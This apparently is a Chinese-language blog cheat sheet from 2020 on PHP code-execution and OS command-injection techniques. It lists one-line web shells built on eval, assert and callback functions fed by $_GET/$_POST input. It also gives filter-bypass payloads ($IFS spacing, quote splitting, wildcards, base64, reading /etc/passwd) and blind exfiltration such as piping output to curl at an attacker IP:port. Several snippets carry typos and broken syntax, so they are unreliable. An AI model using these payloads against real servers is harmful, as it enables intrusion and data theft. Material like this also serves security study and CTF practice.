doupoo 2020-07-28
(1).eval()将字符串当作函数执行
1 <?php 2 eval (echo "hello";); 3 ?>
(2).assert()判断是否是字符串,是则代码执行
<?php $a=‘assert‘; $a(phpinfo()); ?>
(3).call_user_func()回调函数,可以使用is_callable查看是否可以进行调用,其中可以传递内置和用户自定义的函数.
<?php $a=‘system‘ $b=‘systminfo‘; call_user_func($a,$b); call_user_func(‘eval‘,‘phpinfo()‘); ?>
(4).call_user_fuc_array():回调函数,参数位数组
<?php $array[0]=$_POST[‘a‘]; call_user_func_array("assert",$array); ?>
(5)preg_replace() 当为/e时代码会执行,前提是不超过php7
<?php $a=‘phpinfo()‘; $b=preg_replace("/abc/e",$a,‘abc‘); ?>
(6)array_map()为数组的每个元素应用回调函数,使用/?a=assert&b=phpinfo();
<?php $a=$_GET[‘a‘]; $b=$_GET[‘b‘]; $array[0]=$b; $c=array_map($a,$array); ?>
(7)array_filter依次将array数组中的每个值传递到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保持不变
<?php $array[0]=$_GET[‘a‘]; array_filter($array,‘assert‘); ?>
(8)usort使用自定义函数对数组进行排序,用法1[]=phpinfo()&1[]=123$2[]=assert,过程就是GET变量被展开成连个参数[‘phpinfo()‘,‘123‘]和assert,传入usort函数。usort函数的第二个参数是回调函数assert,其调用了第一个参数的phpinfo();
1 <?php 2 usortg($_GET[1],‘assert‘); 3 ?>
(9) uasort()使用用户自定义的比较函数对数组的值进行排序并保持索引关联
<?php $e=‘assert‘; $arr=array($_REQUEST[‘pass‘],‘test‘); uasort($arr,$e); ?>
(10)${}中间的php代码将会被解析
1 <?php 2 ${phpinfo()}; 3 ?>
(1)system()可以执行系统命令并将其输出
<?php system(‘pwd‘); system(‘whoami‘); ?>
(2)exec()执行命令,但是无输出。
<?php highlight_file(__FILE__); $b=exec(‘whoami‘); var_dump($b); ?>
(3)passthru执行命令输出
<?php highlight_file(__FILE__); passthru(‘systeminfo‘); ?>
(4)shell_exec执行命令但无回显
<?php highlight_file(__FILE__); var_dump(shell_exec(‘ipconfig‘)); ?>
(5)反问号,执行shell命令,并返回输出的字符串
<?php highlight_file(__FILE__); $a = ‘ipconfig‘; echo `$a`; ?>
(6)ob_start打开输出控制缓冲
<?php ob_start("system"); echo "whoami"; ob_end_flush(); ?>
(1)常见的分隔符
换行符%0a
回车符%0d
连续指令 ;
后台进程 &
管道符 |
逻辑 || &&
(2)绕过空格
$IFS
<
${IFS}
$IFS$9
$%09
(3)各类符号
echo "${PATH:0:1}" echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`" echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)` expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
%0a,%0d,%00,%20
(4)铭感字符绕过
变量绕过:a=l;b=s;$a$b
(5)编码绕过
echo ‘cat‘ |base64
(6)未定义的初始化变量
cat $b /etc/passwd
(7)连接符
cat /etc/pass‘w‘d
(8)使用通配符
/???/?s --help
(9)无回显
使用延时函数,比如:ls|sleep 3
使用http,比如:ls|curl ip:port
使用DNS
(10)长度绕过
如15位命令执行,7位命令执行,5位命令执行,4位命令执行
(11)无字母数字的命令执行
1.异或
2.取反
3.自增